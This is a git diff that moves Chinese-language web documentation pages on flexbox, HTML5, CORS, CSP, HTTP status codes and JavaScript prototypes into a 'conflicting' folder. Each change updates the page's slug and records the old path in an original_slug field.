diff --git a/files/zh-cn/conflicting/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html b/files/zh-cn/conflicting/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html index d2054bc725..64120aad99 100644 --- a/files/zh-cn/conflicting/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html +++ b/files/zh-cn/conflicting/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html @@ -1,6 +1,6 @@ --- title: 使用弹性盒子进行高级布局 -slug: Web/CSS/CSS_Flexible_Box_Layout/Mixins +slug: conflicting/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox tags: - CSS3布局模型 - Flexible_Box @@ -9,6 +9,7 @@ tags: - 弹性盒子 - 弹性盒子模型 translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mixins +original_slug: Web/CSS/CSS_Flexible_Box_Layout/Mixins ---

使用弹性盒子的意义是在任何尺寸的屏幕上改变其和其子元素的尺寸填充屏幕可用空间。一个弹性框容器将延展它的子元素以填充可用空间,并且缩小它的子元素来避免溢出。

diff --git a/files/zh-cn/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html b/files/zh-cn/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html index d50cf7582f..5a26114225 100644 --- a/files/zh-cn/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html +++ b/files/zh-cn/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html @@ -1,6 +1,6 @@ --- title: 使用 CSS 弹性盒子 -slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes +slug: conflicting/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox tags: - CSS - CSS Flexible Boxes @@ -17,6 +17,7 @@ tags: - 进阶 translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox translation_of_original: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes +original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes ---
{{CSSRef}}
diff --git a/files/zh-cn/conflicting/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html b/files/zh-cn/conflicting/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html index 9ea8045d96..416b96e007 100644 --- a/files/zh-cn/conflicting/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html +++ b/files/zh-cn/conflicting/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html @@ -1,11 +1,12 @@ --- title: 使用flexbox来布局web应用 -slug: Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications +slug: conflicting/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox tags: - CSS - 弹性盒子 translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox translation_of_original: Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications +original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications ---

{{CSSRef}}

diff --git a/files/zh-cn/conflicting/web/css/easing-function/index.html b/files/zh-cn/conflicting/web/css/easing-function/index.html index aef640fdd3..1e53f47c6d 100644 --- a/files/zh-cn/conflicting/web/css/easing-function/index.html +++ b/files/zh-cn/conflicting/web/css/easing-function/index.html @@ -1,11 +1,12 @@ --- title: -slug: Web/CSS/timing-function +slug: conflicting/Web/CSS/easing-function tags: - CSS - timing-function translation_of: Web/CSS/easing-function translation_of_original: Web/CSS/timing-function +original_slug: Web/CSS/timing-function ---

{{ CSSRef() }}

diff --git a/files/zh-cn/conflicting/web/guide/html/html5/index.html b/files/zh-cn/conflicting/web/guide/html/html5/index.html index 3759db3097..ec94a52452 100644 --- a/files/zh-cn/conflicting/web/guide/html/html5/index.html +++ b/files/zh-cn/conflicting/web/guide/html/html5/index.html @@ -1,8 +1,9 @@ --- title: HTML5 & friends thematic classification -slug: Web/Guide/HTML/HTML5/HTML5_Thematic_Classification +slug: conflicting/Web/Guide/HTML/HTML5 translation_of: Web/Guide/HTML/HTML5 translation_of_original: Web/Guide/HTML/HTML5/HTML5_Thematic_Classification +original_slug: Web/Guide/HTML/HTML5/HTML5_Thematic_Classification ---

这个页面提供了有关HTML5的主题链接,有些链接一般与HTML5关联但实际上并不是HTML标准,为了方便这些内容也被整理到这里。

HTML

diff --git a/files/zh-cn/conflicting/web/guide/index.html b/files/zh-cn/conflicting/web/guide/index.html index ef8d7dac56..48ed6873e3 100644 --- a/files/zh-cn/conflicting/web/guide/index.html +++ b/files/zh-cn/conflicting/web/guide/index.html @@ -1,8 +1,9 @@ --- title: Web 开发 -slug: Web_Development +slug: conflicting/Web/Guide translation_of: Web/Guide translation_of_original: Web_Development +original_slug: Web_Development ---

Web 开发 包括开发网站和Web应用程序的方方面面。

在本文中,您将学到创建从简单到复杂的Web站点、使用最新Web技术的高度互动的网站。

diff --git a/files/zh-cn/conflicting/web/guide/mobile/index.html b/files/zh-cn/conflicting/web/guide/mobile/index.html index ac53f993c1..47137e29a0 100644 --- a/files/zh-cn/conflicting/web/guide/mobile/index.html +++ b/files/zh-cn/conflicting/web/guide/mobile/index.html @@ -1,6 +1,6 @@ --- title: 移动 Web 开发 -slug: Web_Development/Mobile +slug: conflicting/Web/Guide/Mobile tags: - Mobile - NeedsTranslation @@ -8,6 +8,7 @@ tags: - Web Development translation_of: Web/Guide/Mobile translation_of_original: Web_Development/Mobile +original_slug: Web_Development/Mobile ---

开发能在移动设备上浏览的网站需要一些方法来确保网站在移动设备上可以如同在桌面浏览器上一样正常运作。以下的文章介绍了部分方法:

    diff --git a/files/zh-cn/conflicting/web/html/element/index.html b/files/zh-cn/conflicting/web/html/element/index.html index 9a45c3ba52..4deec7c2ee 100644 --- a/files/zh-cn/conflicting/web/html/element/index.html +++ b/files/zh-cn/conflicting/web/html/element/index.html @@ -1,6 +1,6 @@ --- title: HTML5 标签列表 -slug: Web/Guide/HTML/HTML5/HTML5_element_list +slug: conflicting/Web/HTML/Element tags: - HTML - HTML5 @@ -9,6 +9,7 @@ tags: - 指南 translation_of: Web/HTML/Element translation_of_original: Web/Guide/HTML/HTML5/HTML5_element_list +original_slug: Web/Guide/HTML/HTML5/HTML5_element_list ---

    这里列出了所有标准化的 HTML5 元素,使用起始标签描述,按照功能分组。与列出所有标准化的、非标准化的、有效的、废弃的标签的 HTML 元素索引 不同的是,该页只列出有效的 HTML5 元素。新网站应当只使用这里列出的元素。

    diff --git a/files/zh-cn/conflicting/web/html/quirks_mode_and_standards_mode/index.html b/files/zh-cn/conflicting/web/html/quirks_mode_and_standards_mode/index.html index 04e0eabb4f..b18bccd87b 100644 --- a/files/zh-cn/conflicting/web/html/quirks_mode_and_standards_mode/index.html +++ b/files/zh-cn/conflicting/web/html/quirks_mode_and_standards_mode/index.html @@ -1,6 +1,7 @@ --- title: Quirks Mode and Standards Mode -slug: Quirks_Mode_and_Standards_Mode +slug: conflicting/Web/HTML/Quirks_Mode_and_Standards_Mode +original_slug: Quirks_Mode_and_Standards_Mode ---

    在web产生初期, 网页通常被两个版本: 其中一个是为网景公司的 Netscape Navigator浏览器而写, 另外一个是为微软公司的 Internet Explorer浏览器而写. 随后,当W3C组织制定了web标准,各浏览器并不能立即的严格按标准执行,因为这样做会让一些已经存在的不符合新标准的网页无法正常显示.为此,浏览器推出两种模式来分别对待符合标准的网也与旧的标准指定之前遗留的网页.

    如今,浏览器的渲染引擎已发展成为拥有三种渲染模式:quirks mode, almost standards mode, 和full standards mode. 在quirks mode(混杂模式)中,渲染引擎会模拟Navigator 4 和 Internet Explorer 5这些古老浏览器的不标准的渲染行为来渲染网页,以防止现代浏览器不能正常渲染已经存在的一些古老网页.在full standards mode(标准规范模式)中,渲染引擎会尽量使用HTML 和 CSS 规范规定的行为来渲染网页.在almost standards mode(接近标准模式)中,渲染引擎有极少数行为不遵循标准.

    diff --git a/files/zh-cn/conflicting/web/http/cors/index.html b/files/zh-cn/conflicting/web/http/cors/index.html index 50a52b3405..eb37a40e1d 100644 --- a/files/zh-cn/conflicting/web/http/cors/index.html +++ b/files/zh-cn/conflicting/web/http/cors/index.html @@ -1,6 +1,6 @@ --- title: Server-Side Access Control -slug: Web/HTTP/Server-Side_Access_Control +slug: conflicting/Web/HTTP/CORS tags: - AJAX - CORS @@ -8,6 +8,7 @@ tags: - PHP translation_of: Web/HTTP/CORS translation_of_original: Web/HTTP/Server-Side_Access_Control +original_slug: Web/HTTP/Server-Side_Access_Control ---

    {{HTTPSidebar}}

    diff --git a/files/zh-cn/conflicting/web/http/csp/index.html b/files/zh-cn/conflicting/web/http/csp/index.html index 232b502c3f..c9e88056a9 100644 --- a/files/zh-cn/conflicting/web/http/csp/index.html +++ b/files/zh-cn/conflicting/web/http/csp/index.html @@ -1,8 +1,9 @@ --- title: 内容安全策略 (CSP) -slug: Web/Security/CSP +slug: conflicting/Web/HTTP/CSP translation_of: Web/HTTP/CSP translation_of_original: Web/Security/CSP +original_slug: Web/Security/CSP ---
    {{gecko_minversion_header("2.0")}}
    diff --git a/files/zh-cn/conflicting/web/http/csp_9583294484b49ac391995b392c2b1ae1/index.html b/files/zh-cn/conflicting/web/http/csp_9583294484b49ac391995b392c2b1ae1/index.html index 2577fa1fde..aad26533cd 100644 --- a/files/zh-cn/conflicting/web/http/csp_9583294484b49ac391995b392c2b1ae1/index.html +++ b/files/zh-cn/conflicting/web/http/csp_9583294484b49ac391995b392c2b1ae1/index.html @@ -1,8 +1,9 @@ --- title: Using CSP violation reports -slug: Web/Security/CSP/Using_CSP_violation_reports +slug: conflicting/Web/HTTP/CSP_9583294484b49ac391995b392c2b1ae1 translation_of: Web/HTTP/CSP translation_of_original: Web/Security/CSP/Using_CSP_violation_reports +original_slug: Web/Security/CSP/Using_CSP_violation_reports ---

    {{ gecko_minversion_header("2.0") }}{{ draft() }}

    diff --git a/files/zh-cn/conflicting/web/http/csp_aeae68a149c6fbe64e541cbdcd6ed5c5/index.html b/files/zh-cn/conflicting/web/http/csp_aeae68a149c6fbe64e541cbdcd6ed5c5/index.html index ce27f52be4..8b035b39df 100644 --- a/files/zh-cn/conflicting/web/http/csp_aeae68a149c6fbe64e541cbdcd6ed5c5/index.html +++ b/files/zh-cn/conflicting/web/http/csp_aeae68a149c6fbe64e541cbdcd6ed5c5/index.html @@ -1,12 +1,13 @@ --- title: 内容安全策略介绍 -slug: Web/Security/CSP/Introducing_Content_Security_Policy +slug: conflicting/Web/HTTP/CSP_aeae68a149c6fbe64e541cbdcd6ed5c5 tags: - 介绍 - 内容安全策略 - 安全 translation_of: Web/HTTP/CSP translation_of_original: Web/Security/CSP/Introducing_Content_Security_Policy +original_slug: Web/Security/CSP/Introducing_Content_Security_Policy ---

    {{ gecko_minversion_header("2") }}

    diff --git a/files/zh-cn/conflicting/web/http/status/index.html b/files/zh-cn/conflicting/web/http/status/index.html index 2c0fce1058..cb0c385f77 100644 --- a/files/zh-cn/conflicting/web/http/status/index.html +++ b/files/zh-cn/conflicting/web/http/status/index.html @@ -1,8 +1,9 @@ --- title: HTTP response codes -slug: Web/HTTP/HTTP_response_codes +slug: conflicting/Web/HTTP/Status translation_of: Web/HTTP/Status translation_of_original: Web/HTTP/HTTP_response_codes +original_slug: Web/HTTP/HTTP_response_codes ---

    HTTP状态码(响应码)用来表明这个HTTP 请求是否已经成功完成.HTTP响应类型一共分五大类:消息响应,成功响应,重定向,客户端错误,服务器端错误.

     

    diff --git a/files/zh-cn/conflicting/web/javascript/guide/introduction/index.html b/files/zh-cn/conflicting/web/javascript/guide/introduction/index.html index d8b77fece9..cfe969feee 100644 --- a/files/zh-cn/conflicting/web/javascript/guide/introduction/index.html +++ b/files/zh-cn/conflicting/web/javascript/guide/introduction/index.html @@ -1,12 +1,13 @@ --- title: 关于本指南 -slug: Web/JavaScript/Guide/About +slug: conflicting/Web/JavaScript/Guide/Introduction tags: - JavaScript - 初学者 - 指南 translation_of: Web/JavaScript/Guide/Introduction translation_of_original: Web/JavaScript/Guide/About +original_slug: Web/JavaScript/Guide/About ---

    JavaScript 是一种跨平台的,基于对象的脚本语言。本指南介绍了所有您使用 JavaScript 所需要了解的事情。

    diff --git a/files/zh-cn/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html b/files/zh-cn/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html index 96114a1f43..31077692d4 100644 --- a/files/zh-cn/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html +++ b/files/zh-cn/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html @@ -1,10 +1,11 @@ --- title: JavaScript 概述 -slug: Web/JavaScript/Guide/JavaScript_Overview +slug: conflicting/Web/JavaScript/Guide/Introduction_6f341ba6db4b060ccbd8dce4a0d5214b tags: - ECMAScript translation_of: Web/JavaScript/Guide/Introduction translation_of_original: Web/JavaScript/Guide/JavaScript_Overview +original_slug: Web/JavaScript/Guide/JavaScript_Overview ---

    本节将介绍并讨论 JavaScript 的基本概念。

    diff --git a/files/zh-cn/conflicting/web/javascript/guide/regular_expressions/assertions/index.html b/files/zh-cn/conflicting/web/javascript/guide/regular_expressions/assertions/index.html index 8ff8e9730b..107bb6888f 100644 --- a/files/zh-cn/conflicting/web/javascript/guide/regular_expressions/assertions/index.html +++ b/files/zh-cn/conflicting/web/javascript/guide/regular_expressions/assertions/index.html @@ -1,7 +1,8 @@ --- title: Boundaries -slug: Web/JavaScript/Guide/Regular_Expressions/Boundaries +slug: conflicting/Web/JavaScript/Guide/Regular_Expressions/Assertions translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions translation_of_original: Web/JavaScript/Guide/Regular_Expressions/Boundaries +original_slug: Web/JavaScript/Guide/Regular_Expressions/Boundaries ---

    重定向至 断言

    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/arraybuffer/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/arraybuffer/index.html index 92909dbef7..494ec5dcf7 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/arraybuffer/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/arraybuffer/index.html @@ -1,10 +1,11 @@ --- title: ArrayBuffer.prototype -slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/ArrayBuffer tags: - ArrayBuffer translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer translation_of_original: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/boolean/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/boolean/index.html index cb7f351bd1..eb537d7bc5 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/boolean/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/boolean/index.html @@ -1,6 +1,6 @@ --- title: Boolean.prototype -slug: Web/JavaScript/Reference/Global_Objects/Boolean/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Boolean tags: - Boolean - JavaScript @@ -8,6 +8,7 @@ tags: - Prototype translation_of: Web/JavaScript/Reference/Global_Objects/Boolean translation_of_original: Web/JavaScript/Reference/Global_Objects/Boolean/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Boolean/prototype ---

    {{JSRef}}

    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/dataview/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/dataview/index.html index 3285efa3d3..30e15c989e 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/dataview/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/dataview/index.html @@ -1,10 +1,11 @@ --- title: DataView.prototype -slug: Web/JavaScript/Reference/Global_Objects/DataView/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/DataView tags: - DataView属性 translation_of: Web/JavaScript/Reference/Global_Objects/DataView translation_of_original: Web/JavaScript/Reference/Global_Objects/DataView/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/DataView/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/date/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/date/index.html index da3d715018..4e113936d2 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/date/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/date/index.html @@ -1,12 +1,13 @@ --- title: Date.prototype -slug: Web/JavaScript/Reference/Global_Objects/Date/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Date tags: - Date - JavaScript - Property translation_of: Web/JavaScript/Reference/Global_Objects/Date translation_of_original: Web/JavaScript/Reference/Global_Objects/Date/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Date/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/error/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/error/index.html index 420b5634de..86c93dcc85 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/error/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/error/index.html @@ -1,6 +1,6 @@ --- title: Error.prototype -slug: Web/JavaScript/Reference/Global_Objects/Error/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Error tags: - Error - JavaScript @@ -9,6 +9,7 @@ tags: - 属性 translation_of: Web/JavaScript/Reference/Global_Objects/Error translation_of_original: Web/JavaScript/Reference/Global_Objects/Error/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Error/prototype ---

    {{JSRef}}

    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/evalerror/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/evalerror/index.html index b68caa1f3f..7fe73a4749 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/evalerror/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/evalerror/index.html @@ -1,8 +1,9 @@ --- title: EvalError.prototype -slug: Web/JavaScript/Reference/Global_Objects/EvalError/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/EvalError translation_of: Web/JavaScript/Reference/Global_Objects/EvalError translation_of_original: Web/JavaScript/Reference/Global_Objects/EvalError/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/EvalError/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/function/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/function/index.html index a745753511..b2d20b8cbd 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/function/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/function/index.html @@ -1,6 +1,6 @@ --- title: Function.prototype -slug: Web/JavaScript/Reference/Global_Objects/Function/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Function tags: - JavaScript - 函数 @@ -8,6 +8,7 @@ tags: - 原型属性 translation_of: Web/JavaScript/Reference/Global_Objects/Function translation_of_original: Web/JavaScript/Reference/Global_Objects/Function/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Function/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/generatorfunction/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/generatorfunction/index.html index 0f7179b3f5..b7f4c019f3 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/generatorfunction/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/generatorfunction/index.html @@ -1,6 +1,6 @@ --- title: GeneratorFunction.prototype -slug: Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/GeneratorFunction tags: - ECMAScript 2015 - GeneratorFunction @@ -11,6 +11,7 @@ tags: - Reference translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction translation_of_original: Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/intl/datetimeformat/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/intl/datetimeformat/index.html index f74e8f9cf5..9608a00425 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/intl/datetimeformat/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/intl/datetimeformat/index.html @@ -1,8 +1,9 @@ --- title: Intl.DateTimeFormat.prototype -slug: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/map/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/map/index.html index d98bdfac5a..c05822ebf3 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/map/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/map/index.html @@ -1,8 +1,9 @@ --- title: Map.prototype -slug: Web/JavaScript/Reference/Global_Objects/Map/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Map translation_of: Web/JavaScript/Reference/Global_Objects/Map translation_of_original: Web/JavaScript/Reference/Global_Objects/Map/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Map/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/number/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/number/index.html index 3abe34b74b..883a45707c 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/number/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/number/index.html @@ -1,8 +1,9 @@ --- title: Number.prototype -slug: Web/JavaScript/Reference/Global_Objects/Number/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Number translation_of: Web/JavaScript/Reference/Global_Objects/Number translation_of_original: Web/JavaScript/Reference/Global_Objects/Number/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Number/prototype ---
    {{JSRef("Global_Objects", "Number")}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/object/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/object/index.html index 4dd70200f0..3d5f00217e 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/object/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/object/index.html @@ -1,12 +1,13 @@ --- title: Object.prototype -slug: Web/JavaScript/Reference/Global_Objects/Object/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Object tags: - JavaScript - Object - Property translation_of: Web/JavaScript/Reference/Global_Objects/Object translation_of_original: Web/JavaScript/Reference/Global_Objects/Object/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Object/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/promise/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/promise/index.html index c9c7dc3f6a..034a88bd0c 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/promise/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/promise/index.html @@ -1,8 +1,9 @@ --- title: Promise.prototype -slug: Web/JavaScript/Reference/Global_Objects/Promise/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Promise translation_of: Web/JavaScript/Reference/Global_Objects/Promise translation_of_original: Web/JavaScript/Reference/Global_Objects/Promise/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/Promise/prototype ---
    {{JSRef("Global_Objects", "Promise")}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html index 26d1ad3517..ccc2299f1e 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/proxy/proxy/index.html @@ -1,12 +1,13 @@ --- title: Proxy handler -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler +slug: conflicting/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy tags: - ECMAScript 2015 - JavaScript - Proxy translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy translation_of_original: Web/JavaScript/Reference/Global_Objects/Proxy/handler +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/rangeerror/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/rangeerror/index.html index 0e2c78aedf..efe5781a05 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/rangeerror/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/rangeerror/index.html @@ -1,8 +1,9 @@ --- title: RangeError.prototype -slug: Web/JavaScript/Reference/Global_Objects/RangeError/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/RangeError translation_of: Web/JavaScript/Reference/Global_Objects/RangeError translation_of_original: Web/JavaScript/Reference/Global_Objects/RangeError/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/RangeError/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/referenceerror/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/referenceerror/index.html index 4cb00496ef..09306f2862 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/referenceerror/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/referenceerror/index.html @@ -1,6 +1,6 @@ --- title: ReferenceError.prototype -slug: Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/ReferenceError tags: - Error - JavaScript @@ -9,6 +9,7 @@ tags: - ReferenceError translation_of: Web/JavaScript/Reference/Global_Objects/ReferenceError translation_of_original: Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/regexp/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/regexp/index.html index 0c76cb77ac..740b32604b 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/regexp/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/regexp/index.html @@ -1,12 +1,13 @@ --- title: RegExp.prototype -slug: Web/JavaScript/Reference/Global_Objects/RegExp/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/RegExp tags: - JavaScript - Property - RegExp translation_of: Web/JavaScript/Reference/Global_Objects/RegExp translation_of_original: Web/JavaScript/Reference/Global_Objects/RegExp/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/RegExp/prototype ---

    {{JSRef("Global_Objects", "RegExp")}}

    概述

    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/sharedarraybuffer/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/sharedarraybuffer/index.html index ccb6f2df65..41da127b42 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/sharedarraybuffer/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/sharedarraybuffer/index.html @@ -1,11 +1,12 @@ --- title: SharedArrayBuffer.prototype -slug: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer tags: - Prototype - SharedArrayBuffer translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer translation_of_original: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype ---
    {{JSRef}}
    diff --git a/files/zh-cn/conflicting/web/javascript/reference/global_objects/string/index.html b/files/zh-cn/conflicting/web/javascript/reference/global_objects/string/index.html index 00a9695a64..567c248d41 100644 --- a/files/zh-cn/conflicting/web/javascript/reference/global_objects/string/index.html +++ b/files/zh-cn/conflicting/web/javascript/reference/global_objects/string/index.html @@ -1,6 +1,6 @@ --- title: String.prototype -slug: Web/JavaScript/Reference/Global_Objects/String/prototype +slug: conflicting/Web/JavaScript/Reference/Global_Objects/String tags: - JavaScript - 原型 @@ -9,6 +9,7 @@ tags: - 属性 translation_of: Web/JavaScript/Reference/Global_Objects/String translation_of_original: Web/JavaScript/Reference/Global_Objects/String/prototype +original_slug: Web/JavaScript/Reference/Global_Objects/String/prototype ---
    {{JSRef}}
